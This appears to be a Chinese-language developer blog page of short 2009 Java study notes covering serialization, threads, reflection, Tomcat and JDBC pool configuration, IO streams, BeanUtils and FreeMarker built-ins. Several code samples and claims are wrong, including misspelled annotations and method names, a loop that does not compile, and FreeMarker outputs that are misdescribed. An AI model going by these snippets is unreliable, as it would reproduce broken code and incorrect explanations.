this.d=d;
}
public String toString(){
return "s="+s+";i="+i+";d="+d;
}
}
程序运行结果:object1和object2的实例变量是一样的,输出如下:
object1:s=Hello;i=-7;d=2.7E10
object2:s=Hello;i=-7;d=2.7E10
我补充一下:
Object serialization的定义:
Object serialization 允许你将实现了Serializable接口的对象转换为字节序列,这些字节序列可以被完全存储以备以后重新生成原来的对象。
serialization不但可以在本机做,而且可以经由网络操作(就是猫小说的RMI)。这个好处是很大的----因为它自动屏蔽了操作系统的差异,字节顺序(用Unix下的c开发过网络编程的人应该知道这个概念,我就容易在这上面犯错)等。比如,在Window平台生成一个对象并序列化之,然后通过网络传到一台Unix机器上,然后可以在这台Unix机器上正确地重构这个对象。
Object serialization主要用来支持2种主要的特性:
1。Java的RMI(remote method invocation).RMI允许象在本机上一样操作远程机器上的对象。当发送消息给远程对象时,就需要用到serializaiton机制来发送参数和接收返回直。
2。Java的JavaBeans. Bean的状态信息通常是在设计时配置的。Bean的状态信息必须被存起来,以便当程序运行时能恢复这些状态信息。这也需要serializaiton机制。
二。sakulagi和rollingpig说的持久化我也说一下。
我觉得你们说的应该是英文里的persistence.但是Java语言里现在只支持lightweight persistence,就是轻量级持久化,这是通过serialization机制来实现的。
persistence是指一个对象的生命周期不由程序是否执行来决定,即使是在程序终止时这个对象也存在。它把一个serializable的对象写到磁盘(本机或其他机器上的非RAM存储器),并在程序重新调用时再读取对象到通常的RAM存储器。
为什么说Java的serialization机制实现的是lightweight persistence?因为你必须显式的序列化和反序列化程序里的对象;而不是直接由一个关键词来定义一个对象是序列化的然后由系统做相应的处理。 如果以后的Java版本出现一个新的关键字来实现这种机制,比如就是persistence,如果我用
persistence (String s="chinaunix")
然后系统自动做猫小程序里的那些处理,那么Java就实现了persistence.
posted @
2009-11-29 21:31 junly 阅读(210) |
评论 (0) |
编辑 收藏
public void synchronized getall(){}
posted @
2009-11-29 21:30 junly 阅读(187) |
评论 (0) |
编辑 收藏
java.lang.Thread
【创建新线程的方法有两种】
1 定义线程类实现Runnable接口
public class MyThred implements Runnable{
@overwrite
public void run(){}
}
起用线程:
MyThred myThred=new MyThred();
Thread t=new Thread(myThred);
t.start();
2 定义线程类继承Thread类并重写其run方法
public class MyThred extends Thread{
@overwrite
public void run(){}
}
起用线程:
MyThred myThred=new MyThred();
myThred.start();
说明:一般使用接口来实现
-------------------------------------------------
【线程状态转换】
【线程控制基本方法】:
isAlive() 判断线程是否还“活”着
getPriority() 获得线程的优先级
setPriority() 设置线程的优先级
Thread.sleep() 将当前线程睡眠指定的毫秒数
join() 调用某线程的该方法,将当前线程与该线程“合并”,即等待
该线程线束,再恢复当前线程的运行。
yield() 让出CPU,当前线程进入就绪队列等待调度
wait() 当胶线程进入对象的wait pool。
notify()/notifyAll() 唤醒对象的wait pool中的一个/所有等待线程。
Thread.currentThread() 得到当前线程
----------------------------------------------------------------
【sleep/join/yield 方法】
sleep示例:
public class TestInterrupt {
public static void main(String[] args) {
MyThread thread = new MyThread();
thread.start();
//主线程睡眠
try {Thread.sleep(10000);}
catch (InterruptedException e) {}
//停下当前线程,这个方法一般不建议使用
thread.interrupt();
//使用这个结束线程
shutDown();
}
}
class MyThread extends Thread {
boolean flag = true;
public void run(){
while(flag){
System.out.println("==="+new Date()+"===");
try {
//当前子线程睡眠
sleep(1000);
//sleep时被打断会抛InterruptedException
} catch (InterruptedException e) {
return;
}
}
}
//结束线程的方法
public void shutDown(){
flag = false;
}
}
jion示例:
public class TestJoin {
public static void main(String[] args) {
MyThread2 t1 = new MyThread2("abcde");
t1.start();
try {
//当前线程合并到主线程,相当于方法调用
t1.join();
} catch (InterruptedException e) {}
for(int i=1;i<=10;i++){
System.out.println("i am main thread");
}
}
}
class MyThread2 extends Thread {
//给当前线程起个别名
MyThread2(String s){
super(s);
}
public void run(){
for(int i =1;i<=10;i++){
System.out.println("i am "+getName());
try {
sleep(1000);
} catch (InterruptedException e) {
return;
}
}
}
}
yield示例:
public class TestYield {
public static void main(String[] args) {
//可以用同一个线程类创建不同的线程对象,分别执行
MyThread3 t1 = new MyThread3("t1");
MyThread3 t2 = new MyThread3("t2");
t1.start(); t2.start();
}
}
class MyThread3 extends Thread {
MyThread3(String s){super(s);}
public void run(){
for(int i =1;i<=100;i++){
System.out.println(getName()+": "+i);
if(i%10==0){
//让出时间给其它线程执行
yield();
}
}
}
}
--------------------------------------------------------------
【线程的优先级别】getPriority()/setProority(int newPriority)
线程的优先级用数字表示,范围从1到10,默认为5.
Thread.MIN_PRIORITY=1
Thread.MAX_PRIORITY=10
Thread.NORM_PRIORITY=5
示例:
public class TestPriority {
public static void main(String[] args) {
Thread t1 = new Thread(new T1());
Thread t2 = new Thread(new T2());
//将t1的优先级提高3级
t1.setPriority(Thread.NORM_PRIORITY + 3);
t1.start();
t2.start();
}
}
class T1 implements Runnable {
public void run() {
for(int i=0; i<1000; i++) {
System.out.println("T1: " + i);
}
}
}
class T2 implements Runnable {
public void run() {
for(int i=0; i<1000; i++) {
System.out.println("------T2: " + i);
}
}
}
--------------------------------------------------------------------
【线程的同步】未看完
posted @
2009-11-29 21:30 junly 阅读(188) |
评论 (0) |
编辑 收藏
生成jar包
jar -cvf test.jar *.*
*.*是指当前目录下所有文件打包到目标目录下
是否是该类或该类的子类类型的对象
instanceof
car instanceof Car
增加的for循环
int[] arr={1,2,4,5,6};
for(int i:arr){}//只用于显示,不可以访问i
posted @
2009-11-29 21:29 junly 阅读(204) |
评论 (0) |
编辑 收藏
Calendar g=Calendar.getInstance();
g.add(Calendar.YEAR,1);
SimpleDateFormat s=new SimpleDateFormat("yyyy-MM-dd HH-mm-ss",Locale.US);
String d=s.format(g.getTime());
System.out.println(d);
System.currentTimeMillis();
以毫秒为单位返回当前时间
java.util.Calendar
posted @
2009-11-29 21:28 junly 阅读(185) |
评论 (0) |
编辑 收藏
event.getValue() instanceof ActionForm 返回true或false
instanceof判断是否属于此类型
value instanceof Date
posted @
2009-11-29 21:27 junly 阅读(208) |
评论 (0) |
编辑 收藏
配置tomcat的连接池
修改context.xml
<Context reloadable="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<Resource name="jdbc/oracleds" auth="Container"
type="javax.sql.DataSource"
maxActive="100" maxldle="30" maxWait="10000"
username="scott" password="tiger"
driverClassName="oracle.jdbc.OracleDriver"
url="jdbc:oracle:thin:@192.168.1.20:1521:ora9" />
</Context>
posted @
2009-11-29 21:27 junly 阅读(219) |
评论 (0) |
编辑 收藏
日期格式化
Date currentTime = new Date();
SimpleDateFormat HMFromat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
String strCurrentTime=HMFromat.format(currentTime);
posted @
2009-11-29 21:26 junly 阅读(216) |
评论 (0) |
编辑 收藏
java.lang.Class
在类加载时,java虚拟机会自动创建相应的class对象
1.获取class对象
Class c=Class.froName("c");
2.解析属性信息
Field[] fs=c.getDeclaredFields();
for(Field f:fs){
System.out.println("属性:"+f.toString());
System.out.println("数据类型:"+f.getType());
System.out.println("属性名:"+f.getName());
int mod=f.getModifeers();
System.out.println("属性修饰符:"+Modifier.toString(mod));
}
3.解析方法信息
Method[] ms=c.getDeclaredMethods();
for(Method m:ms){
System.out.println("方法:"+m.toString());
System.out.println("方法名:"+m.getName());
int mod=f.getModifeers();
System.out.println("方法修饰符:"+Modifier.toString(mod));
Class pts[] = m.getParameterTypes();//得到参数列表
m.getReturnType();//得到返回值类型
}
4.解析构造方法
Constructor[] cs=c.getDeclaredConstructors();
for(Constructor con:cs){
System.out.println("构造方法:"+con.toString());
System.out.println("方法名:"+con.getName());
System.out.println("方法修饰符:"+Modifier.toString(mod));
Class pts[] = m.getParameterTypes();//得到参数列表
m.getReturnType();//得到返回值类型
}
5.解析当前类类型的父类
Class superClass=c.getSuperclass();
6.解析当前类实现的接口
Class[] interfaces=c.getInterfaces();
for(Class cl:interfaces){
System.out.println(cl.toString());
}
7.解析当前包
Package p=c.getPackage();
---------------------------------------------------------------
1.直接操作对象属性
User u=new User();
Class c=u.getClass();//同Class.forName("p2.User");
Field f=c.getField(fieldName);
Object fv=f.get(u);//得到对象u实例对应f属性的值
f.set(u,value);设置u对象f属性的值为value
2.调用对象成员方法
Class[] argTypes={String.class,int.class};
//上行等同Class[] argTypes=new Class[]{String.class,int.class};
Object[] args=new Object[]{"王五",99};
Class c-u.getClass();
Method m=c.getMethod(methodName,argTypes);
Object result=m.invoke(u,args);
System.out.println(result);
3.调用类成员方法
Class c=Class.forName("className");
Method m=c.getMethod(methodName,argTypes);
Object result=m.invoke(null,args);//没有对象,所以指定为null
---------------------------------------------------------------
获取class对象
*针对引用数据类型
1.调用静态方法Class.forName()
Class.forName("p1.User");
2.调用Object类中定义的getClass()方法
User u=new User();
Class c=u.getClass();
3.使用.class表达式
Class c1=String.class;
Class c2=p1.User.class;
*针对基本数据类型及void
1.使用.class表达式
Class c1=int.class;
Class c2=double.class;
Class c3=void.class;
2.调用相应封装类的.Type属性
Class c1=Integer.TYPE;
Class c2=Double.TYPE;
Class c3=Void.TYPE;
----------------------------------------------
java.lang.reflect.Field
1.获取Field对类(Class类提供)
public Field[] getDeclaredFields()//当前类的所有属性,不包括父类
public Field getDeclaredField(String name)//当前类指定属性,不包括父类
public Field[] getFields()//当前类所有public的属性,包括父类
public Field getField(String name)//当前类指定的public属性,包括父类
2.Field类主要成员方法
public Object get(Object obj)
pbulic void set(Object obj,Object value)
public xxx getXxx(Object obj)
public void setXxx(Object obj,xxx x)//xxx为基本数据类型
public String getName()
public int getModifiers()//当前属性的修饰符
public <T extends Annotation> T getAnnotation(Class<T> annotationClass)
返回当前属性前面的注释
public String toString()
public boolean equals(Object obj)
------------------------------------------------------------------------
java.lang.reflect.Method
1.获取Method对类(Class类提供)
public Method[] getDeclaredMethods()//当前类的所有方法,不包括父类
public Method getDeclaredMethod(String name,Class<?> parameterTypes)//当前类指定方法,不包括父类
public Method[] getMethods()//当前类所有public的方法,包括父类
public Method getMethod(String name)//当前类指定的public方法,包括父类
2.Method类主要成员方法
public Object invoke(Object obj,Object args)****
public String getName()
public Class<?>[] getParameterTypes()
public int getModifiers()//当前属性的修饰符
public Class<?> getReturnType()
public Class<?>[] getExceptionTypes()
public <T extends Annotation> T getAnnotation(Class<T> annotationClass)
返回当前属性前面的注释
public String toString()
public boolean equals(Object obj)
-----------------------------------------------------------
java.lang.reflect.Modifier
1.获取Modifier对象
public int getModifieers()
2.Modifier类方法
public static boolean isPublic(int mod)
public static boolean isPrivate(int mod)
--------------------------------------------------------------
java.lang.reflect.Constructor
public T newInstance(Object initargs)
Class c=Class.forName("p1.Person");
Class[] argTypes={String.class,int.class};//参数列表
Constructor cons=c.getConstructor(argTypes);
Object obj=cons.newInstance("中国",5000);
调用无参构造方法
cons=c.getconstructor();
obj=constructor.newInstance();
obj=c.newInstance();
----------------------------------------------------------------
java.lang.reflect.Array
class类方法
public Class<?> getComponentType()//返回数组对象的数据类型
posted @
2009-11-29 21:24 junly 阅读(190) |
评论 (0) |
编辑 收藏
Tomcat 配置文件修改
修改server.xml
<Connector port="8080" protocol="HTTP/1.1" maxThereads="150"
connectionTimeout="20000" redirectPort="8443" URIEncoding="UTF-8"/>
目的:解决Get方法传参的中文乱码问题
修改Context.xml
<Context>修改成<Context reloadable="true">
目的:当WEB应用中的文件或web.xml 文件修改后Tomcat服务器会自动加载当前的web应用。避免重新启动Tomcat.
<Context reloadable="false">产品阶段不要改为true,改为 false
修改tomcat-users.xml
<?xml version='1.0' encoding='uft-8'?>
<tomcat-users>
<role rolename="manager"/>
<role rolename="admin"/>
<user username="liuwei" password="liuwei"
roles="admin,manager"/>
</tomcat-users>
web错误处理
401错误
404错误
500错误
解决方案:订制错误信息页面,设置web.xml文件
<error-page>
<error-code>404</error-code>
<location>/error404.html</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error500.html</location>
</error-page>
posted @
2009-11-29 21:23 junly 阅读(1014) |
评论 (0) |
编辑 收藏
1、设置SQL Server服务器:
1-1、“SQL Server 2005 服务”中停止服务“SQL Server (SQLEXPRESS)”(默认是启动状态)
1-2、“SQL Server 2005 网络配置” → “MSSQLSERVER 的协议”,启动“TCP/IP”(默认是禁用状态),然后双击“TCP/IP”进入属性设置,在“IP 地址”里,确认“IPAll”
中的“TCP 端口”为1433
1-3、“SQL Server 2005 服务”中启动服务“SQL Server (MSSQLSERVER )”(默认是停止状态)
1-4、关闭“SQL Server Configuration Manager”(此时可以启动“SQL Server Management Studio”,并用帐户sa、密码123登录,SQL Server服务器设置正确的话应该能登录成功)
2、导入jar包:
打开Test的“Properties” → “Java Build Path” → “Libraries” → “Add External JARs” ,选择下载好的连接驱动包“sqljdbc.jar”,然后点击“OK”确定
3如果你以前用JDBC连接SQL Server 2000的话就要注意了:
在SQL Server 2000 中加载驱动和URL路径的语句是
“com.microsoft.jdbc.sqlserver.SQLServerDriver”
“jdbc:microsoft:sqlserver://localhost:1433; DatabaseName=JSPTest”
而SQL Server 2005 中加载驱动和URL的语句则为
“com.microsoft.sqlserver.jdbc.SQLServerDriver”
“jdbc:sqlserver://localhost:1433; DatabaseName=JSPTest”
注意两者的差异
posted @
2009-11-29 21:22 junly 阅读(194) |
评论 (0) |
编辑 收藏
Set temp=new HashSet();
Set entries = temp.entrySet();
for (Iterator iter = entries.iterator(); iter.hasNext();) {
Map.Entry entry = (Map.Entry) iter.next();
ACL acl = (ACL)entry.getValue();
}
posted @
2009-11-29 21:20 junly 阅读(189) |
评论 (0) |
编辑 收藏
管理连接对象
Modle:biz,dao,entity
数据源接口:javax.sql.DataSource
得到
javax.namming.Context接口的lookup()方法
java:comp/env/jdbc/books
1 Tomcat的conf/context.xml(Tomcat5.5以前配在server.xml中<host>标签中)
<context>
<Resource name="jdbc/books"//JNDI名称
auth="Container"//连接池由谁管理(container完全由容器管理/application由程序管理)
type="javax.sql.DataSource"//数据源类型
maxActive="100"//最大连接
maxIdle="30"//最大空闲
maxWait="10000"//单位毫秒,最大等待,无限等待值设为-1
username="sa"
password="accp"
driverClassName="com.microsoft.sqlserver.jdbc.SQLServerDriver"
url="jdbc:sqlserver://localhost:1433;databaseName=food"
/>
</context>
2 加数库据驱动jar
-5.5以前
TomCat/comm/lib
-5.5以后
TomCat/lib目录下
3 编写代码
*javax.naming.context;
*javax.naming.InitialContext;
Connection conn;
Statement stmt;
ResultSet rs;
try{
Context ctx=new InitialContext();
DataSource ds=(DataSource)ctx.lookup("java:comp/env/jdbc/books");
conn=ds.getConnection();
stmt=conn.createStatement();
rs=stmt.executeQuery(sql);
}catch(){}
posted @
2009-11-29 21:19 junly 阅读(320) |
评论 (0) |
编辑 收藏
1 输入/输出流
字节流 字符流
输入流 InputStream Reader
输出流 OutputStream Writer
2 字节流和处理流
------------------------------------------------------------------------
3 InputStream 向程序中输入数据
InputStream---FileInputStream
InputStream---StringBufferInputStream
InputStream---ObjectInputStream
基本方法
-读取一个字节并以整数的形式返回
-如果返回-1已到输入流的末尾
int read() throws IOException
-读取一系列字节并存储到一个数组buffer
int read(byte[] buffer) throws IOException
-读取length个字节并存到一个字节数组buffer
int read(byte[] buffer,int offset[数组的那个下标开始存],int lenght) throws IOException
-关闭流
void close() throws IOException
-------------------------------------------------------------------------------
4 outputStream 输出数据
OutputStream---FileOutputStream
OutputStream---ObjectOutputStream
-向输出流中写一个字节数据
void write(int b)throws IOException
-将一个字节类型的数组中的数据写入输出流
void write(byte[] b)throws IOException
-将一个字节类型的数组中的从指定位置off开始的len个字节写入到输出流
void write(byte[] b,int off,int len)throws IOException
-关闭流
void close()throws IOException
-将输出流中缓冲的数据全部写出到目的地(重要:先flush再close)
void flush() throws IOException
-----------------------------------------------------------------------------------
5 Reader/Writer
---------------------------------------------------
6 FileInputStream/OutputStream
long num=0;
try{
FileInputStream in=new FileInputStream("d:\\test.txt");
FileOutputStream out=new FileOutputStream("d:/test1.text");
while(int b=in.read()!=-1){
out.write(b);
}
in.close();
out.close();
}catch(){}
7 FileReader/FileWriter
FileReader fr=null;
FileWriter fw=null;
int c=0;
try{
fr=new FileReader ("d:\\test.java");
fw=new FileWriter ("d:/test1.java");
while((c=fr.read)!=-1){
System.out.print((char)c);
fw.write(c);
}
fr.close();
fw.close();
}
8 缓冲流
常用构造方法
BufferedReader(Reader in)
BufferedReader(Reader in,int sz)
BufferedWreter(Writer out)
BufferedWreter(Writer out,int sz)
BufferedInputStream(InputStream in)
BufferedInputStream(InputStream in,int size)
BufferedOutputStream(OutputStream out)
BufferedOutputStream(OutputStream out,int size)
*BufferedReader提供了readLine方法用于读取一行字符串
*BufferedWreter提供了newLine用于写入一个行分隔符
*可以使用flush方法将输出到缓冲流的数据在内存中清空立刻写入硬盘
try{
FileInputStream fis=new FileInputStream("d:\\share\\HelloWorld.java");
BufferedInputStream bis=new BufferedInputStream (fis);
bis.mark(100);从第100开始读
}
try{
BufferedWriter bw=new BufferedWriter (new FileWriter("d:\\test.txt"));
BufferedReader br=new BufferedReader(new FileReader("d:\\test.txt"));
String s=null;
for(int i=0;i<=100;i++){
s=String.valueOf(Math.random());
bw.write(s);
bw.newLine();//写一个换行符
}
bw.flush();//清空缓存写入文件
while((s=br.readLine())!=null){
System.out.println(s);
}
bw.close();
br.close();
}
9 转换流
InputStreamReader/OutputStreamWriter
用于字节数据到字符数据之间的转换
InputStreamReader 需要和 InputStream "套接"
OutputStreamWriter 需要和 OutputStream "套接"
InputStream isr=new InputStreamReader(System.in,"ISO8859-1");
try{
OutputStreamWriter osw=new OutputStreamWriter (new FileOutputStream("d:\\test.txt"));
osw.write("ssssssssssssssss");
osw.close();
osw=new OutputStreamWriter(new FileOutputStream("d:\\test.txt",true),"ISO8859-1");//true是指在原来的基础上添加
osw.write("ddddddddddddddddddd");
osw.close();
}
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(isr);
String s=br.readLine();
10 流据流,存储和读取java原始类型
DataInputStream(InputStream in)/DataOutputStream(OutputStream out)
boolean readBoolean()
double readDouble()
String readUTF()
11 PrintStream / PrintWriter
printStream ps=null;
try{
FileOutputStream fos=new FileOutStream("d:\\test.txt");
ps=new PrintStream(fos);
}
if(ps!=null){
System.setOut(ps);
}
int ln=0;
for(char c=0;c<=60000;c++){
System.out.print(c+" ");
if(ln++>=100){
System.out.println();
ln=0;
}
}
12 ObjectInputStream/ObjectOutputStream
对象读写必须序列化,transient关键字表示该必性不被序列化
class t implements Serializable{
int i=10;
transient int j=9;
double d=2.3;
}
T t=new T();
FileOutputStream fos=new FileOutputStream ();
ObjectOutputStream oos=new ObjectOutputStream (fos);
oos.writeObject(t);
oos.flush();
oos.close();
13 Externalizable接口
方法:
void readExternal(ObjectInput in)
void writeExternal(ObjectOutput out)
posted @
2009-11-29 21:18 junly 阅读(203) |
评论 (0) |
编辑 收藏
BeanUtils.copyProperties 与 PropertyUtils.copyProperties 用法及区别
一、简介:
BeanUtils提供对 Java反射和自省API的包装。其主要目的是利用反射机制对JavaBean的属性进行处理。我们知道,一个JavaBean通常包含了大量的属性,很 多情况下,对JavaBean的处理导致大量get/set代码堆积,增加了代码长度和阅读代码的难度。
二、用法:
BeanUtils是这个包里比较常用的一个工具类,这里只介绍它的copyProperties()方法。该方法定义如下:
public static void copyProperties(java.lang.Object dest,java.lang.Object orig)
throws java.lang.IllegalAccessException,
java.lang.reflect.InvocationTargetException
如 果你有两个具有很多相同属性的JavaBean,一个很常见的情况就是Struts里的PO对象(持久对象)和对应的ActionForm,例如 Teacher和TeacherForm。我们一般会在Action里从ActionForm构造一个PO对象,传统的方式是使用类似下面的语句对属性逐 个赋值:
//得到TeacherForm
TeacherForm teacherForm=(TeacherForm)form;
//构造Teacher对象
Teacher teacher=new Teacher();
//赋值
teacher.setName(teacherForm.getName());
teacher.setAge(teacherForm.getAge());
teacher.setGender(teacherForm.getGender());
teacher.setMajor(teacherForm.getMajor());
teacher.setDepartment(teacherForm.getDepartment());
//持久化Teacher对象到数据库
HibernateDAO=;
HibernateDAO.save(teacher);
而使用BeanUtils后,代码就大大改观了,如下所示:
//得到TeacherForm
TeacherForm teacherForm=(TeacherForm)form;
//构造Teacher对象
Teacher teacher=new Teacher();
//赋值
BeanUtils.copyProperties(teacher,teacherForm);
//持久化Teacher对象到数据库
HibernateDAO=;
HibernateDAO.save(teacher);
如 果Teacher和TeacherForm间存在名称不相同的属性,则BeanUtils不对这些属性进行处理,需要程序员手动处理。例如 Teacher包含modifyDate(该属性记录最后修改日期,不需要用户在界面中输入)属性而TeacherForm无此属性,那么在上面代码的 copyProperties()后还要加上一句:
teacher.setModifyDate(new Date());
怎 么样,很方便吧!除BeanUtils外还有一个名为PropertyUtils的工具类,它也提供copyProperties()方法,作用与 BeanUtils的同名方法十分相似,主要的区别在于后者提供类型转换功能,即发现两个JavaBean的同名属性为不同类型时,在支持的数据类型范围 内进行转换,而前者不支持这个功能,但是速度会更快一些。BeanUtils支持的转换类型如下:
* java.lang.BigDecimal
* java.lang.BigInteger
* boolean and java.lang.Boolean
* byte and java.lang.Byte
* char and java.lang.Character
* java.lang.Class
* double and java.lang.Double
* float and java.lang.Float
* int and java.lang.Integer
* long and java.lang.Long
* short and java.lang.Short
* java.lang.String
* java.sql.Date
* java.sql.Time
* java.sql.Timestamp
这里要注意一点,java.util.Date是不被支持的,而它的子类java.sql.Date是被支持的。因此如果对象包含时间类型的属性,且希望被转换的时候,一定要使用java.sql.Date类型。否则在转换时会提示argument mistype异常。
三、优缺点:
Apache Jakarta Commons项目非常有用。我曾在许多不同的项目上或直接或间接地使用各种流行的commons组件。其中的一个强大的组件就是BeanUtils。我 将说明如何使用BeanUtils将local实体bean转换为对应的value 对象:
BeanUtils.copyProperties(aValue, aLocal)
上 面的代码从aLocal对象复制属性到aValue对象。它相当简单!它不管local(或对应的value)对象有多少个属性,只管进行复制。我们假设 local对象有100个属性。上面的代码使我们可以无需键入至少100行的冗长、容易出错和反复的get和set方法调用。这太棒了!太强大了!太有用 了!
现在,还有一个坏消息:使用BeanUtils的成本惊人地昂贵!我做了一个简单的测试,BeanUtils所花费的时间要超过取数 据、将其复制到对应的 value对象(通过手动调用get和set方法),以及通过串行化将其返回到远程的客户机的时间总和。所以要小心使用这种威力!
posted @
2009-11-29 21:17 junly 阅读(267) |
评论 (0) |
编辑 收藏
在我们应用Freemarker过程中,经常会操作例如字符串,数字,集合等,却不清楚Freemrker有没有类似于Java一样有相关的类及方法。在本文当中,我将向大家详细的介绍Freemarke的内置函数及用法,以便能帮助大家更熟练的应用Freemarker完成项目开发。
一、 Sequence的内置函数
1. sequence?first 返回sequence的第一个值。
2. sequence?last 返回sequence的最后一个值。
3. sequence?reverse 将sequence的现有顺序反转,即倒序排序
4. sequence?size 返回sequence的大小
5. sequence?sort 将sequence中的对象转化为字符串后顺序排序
6. sequence?sort_by(value) 按sequence中对象的属性value进行排序
注意:Sequence不能为null。以上方法在我的另一篇博客Freemarker中如何遍历List有详细的应用,感兴趣的朋友可以参考。
二、 Hash的内置函数
1. hash?keys 返回hash里的所有key,返回结果为sequence
2. hash?values 返回hash里的所有value,返回结果为sequence
例如:
<#assign user={“name”:“hailang”, “sex”:“man”}>
<#assign keys=user?keys>
<#list keys as key>
${key}=${user[key]}
</#list>
三、 操作字符串函数
1. substring(start,end)从一个字符串中截取子串
start:截取子串开始的索引,start必须大于等于0,小于等于end
end: 截取子串的长度,end必须大于等于0,小于等于字符串长度,如果省略该参数,默认为字符串长度。
例子:
${‘str’?substring(0)}à结果为str
${‘str’?substring(1)}à结果为tr
${‘str’?substring(2)}à结果为r
${‘str’?substring(3)}à结果为
${‘str’?substring(0,0)}à结果为
${‘str’?substring(0,1)}à结果为s
${‘str’?substring(0,2)}à结果为st
${‘str’?substring(0,3)}à结果为str
2. cap_first 将字符串中的第一个单词的首字母变为大写。
${‘str’?cap_first}à结果为Str
3. uncap_first将字符串中的第一个单词的首字母变为小写。
${‘Str’?cap_first}à结果为str
4. capitalize将字符串中的所有单词的首字母变为大写
${‘str’? capitalize}à结果为STR
5. date,time,datetime将字符串转换为日期
例如:
<#assign date1=”2009-10-12”?date(“yyyy-MM-dd”)>
<#assign date2=”9:28:20”?time(“HH:mm:ss”)>
<#assign date3=” 2009-10-12 9:28:20”?time(“HH:mm:ss”)>
${date1}à结果为2009-10-12
${date2}à结果为9:28:20
${date3}à结果为2009-10-12 9:28:20
注意:如果指定的字符串格式不正确将引发错误。
6. ends_with 判断某个字符串是否由某个子串结尾,返回布尔值。
${“string”?ends_with(“ing”)?string} 返回结果为true
注意:布尔值必须转换为字符串才能输出
7. html 用于将字符串中的<、>、&和“替换为对应得<>":&
8. index_of(substring,start)在字符串中查找某个子串,返回找到子串的第一个字符的索引,如果没有找到子串,则返回-1。
Start参数用于指定从字符串的那个索引处开始搜索,start为数字值。
如果start大于字符串长度,则start取值等于字符串长度,如果start小于0, 则start取值为0。
${“string”?index_of(“in”) à结果为3
${“string”?index_of(“ab”) à结果为-1
9. length返回字符串的长度 ${“string”?length}à结果为6
10. lower_case将字符串转为小写
${“STRING”?lower_case}à结果为string
11. upper_case将字符串转为大写
${“string”?upper_case}à结果为STRING
12. contains 判断字符中是否包含某个子串。返回布尔值
${“string”?contains(“ing”)?string} à结果为true
注意:布尔值必须转换为字符串才能输出
13. number将字符串转换为数字
${“111.11”?number}à结果为111.11
14. replace用于将字符串中的一部分从左到右替换为另外的字符串。
${“strabg”?replace(“ab”,”in”)} à结果为string
15. split使用指定的分隔符将一个字符串拆分为一组字符串
<#list “This|is|split”?split(“|”) as s>
${s}
</#list>
结果为:
This
is
split
16. trim 删除字符串首尾空格 ${“ String ”?trim} à结果为String
四、 操作数字
1. c 用于将数字转换为字符串
${123?c} à结果为123
2. string用于将数字转换为字符串
Freemarker中预订义了三种数字格式:number,currency(货币)和percent(百分比)其中number为默认的数字格式转换
例如:
<#assign tempNum=20>
${tempNum}
${tempNum?string.number}或${tempNum?string(“number”)} à结果为20
${tempNum?string.currency}或${tempNum?string(“currency”)} à结果为¥20.00
${tempNum?string. percent}或${tempNum?string(“percent”)} à结果为2,000%
五、 操作布尔值
string 用于将布尔值转换为字符串输出
true转为“true”,false转换为“false”
foo?string(“yes”,”no”)如果布尔值是true,那么返回“yes”,否则返回no
通过上面对开发中常用的Freemarker内置函数及用法的介绍,相信您已经对这些函数的有了一定的了解,希望本文能对您的开发有所帮助。由于时间仓促,有不足之处请您批评指正。
posted @
2009-11-25 11:21 junly 阅读(1582) |
评论 (0) |
编辑 收藏
集合
集合以方括号包括,各集合元素之间以英文逗号","分隔,看如下的例子:
<#list ["星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期天"] as x>
${x}
</#list>
输出结果是:
星期一
星期二
星期三
星期四
星期五
星期六
星期天
除此之外,集合元素也可以是表达式,例子如下:
[2 + 2, [1, 2, 3, 4], "whatnot"]
还可以使用数字范围定义数字集合,如2..5等同于[2, 3, 4, 5],但是更有效率.注意,使用数字范围来定义集合时无需使用方括号,数字范围也支持反递增的数字范围,如5..2
Map对象
Map对象使用花括号包括,Map中的key-value对之间以英文冒号":"分隔,多组key-value对之间以英文逗号","分隔.下面是一个例子:
{"语文":78, "数学":80}
Map对象的key和value都是表达式,但是key必须是字符串
输出变量值
FreeMarker的表达式输出变量时,这些变量可以是顶层变量,也可以是Map对象中的变量,还可以是集合中的变量,并可以使用点(.)语法来访问Java对象的属性.下面分别讨论这些情况
1,顶层变量
所谓顶层变量就是直接放在数据模型中的值,例如有如下数据模型:
Map root = new HashMap(); //创建数据模型
root.put("name","annlee"); //name是一个顶层变量
对于顶层变量,直接使用${variableName}来输出变量值,变量名只能是字母,数字,下划线,$,@和#的组合,且不能以数字开头号.为了输出上面的name的值,可以使用如下语法:
${name}
2,输出集合元素
如果需要输出集合元素,则可以根据集合元素的索引来输出集合元素,集合元素的索引以方括号指定.假设有索引:
["星期一","星期二","星期三","星期四","星期五","星期六","星期天"].该索引名为week,如果需要输出星期三,则可以使用如下语法:
${week[2]} //输出第三个集合元素
此外,FreeMarker还支持返回集合的子集合,如果需要返回集合的子集合,则可以使用如下语法:
week[3..5] //返回week集合的子集合,子集合中的元素是week集合中的第4-6个元素
3,输出Map元素
这里的Map对象可以是直接HashMap的实例,甚至包括JavaBean实例,对于JavaBean实例而言,我们一样可以把其当成属性为key,属性值为value的Map实例.为了输出Map元素的值,可以使用点语法或方括号语法.假如有下面的数据模型:
Map root = new HashMap();
Book book = new Book();
Author author = new Author();
author.setName("annlee");
author.setAddress("gz");
book.setName("struts2");
book.setAuthor(author);
root.put("info","struts");
root.put("book", book);
为了访问数据模型中名为struts2的书的作者的名字,可以使用如下语法:
book.author.name //全部使用点语法
book["author"].name
book.author["name"] //混合使用点语法和方括号语法
book["author"]["name"] //全部使用方括号语法
使用点语法时,变量名字有顶层变量一样的限制,但方括号语法没有该限制,因为名字可以是任意表达式的结果.
集合连接运算符
这里所说的集合运算符是将两个集合连接成一个新的集合,连接集合的运算符是+,看如下的例子:
<#list ["星期一","星期二","星期三"] + ["星期四","星期五","星期六","星期天"] as x>
${x}
</#list>
输出结果是:星期一 星期二 星期三 星期四 星期五 星期六 星期天
Map连接运算符
Map对象的连接运算符也是将两个Map对象连接成一个新的Map对象,Map对象的连接运算符是+,如果两个Map对象具有相同的key,则右边的值替代左边的值.看如下的例子:
<#assign scores = {"语文":86,"数学":78} + {"数学":87,"Java":93}>
语文成绩是${scores.语文}
数学成绩是${scores.数学}
Java成绩是${scores.Java}
输出结果是:
语文成绩是86
数学成绩是87
Java成绩是93
posted @
2009-11-25 10:06 junly 阅读(2587) |
评论 (0) |
编辑 收藏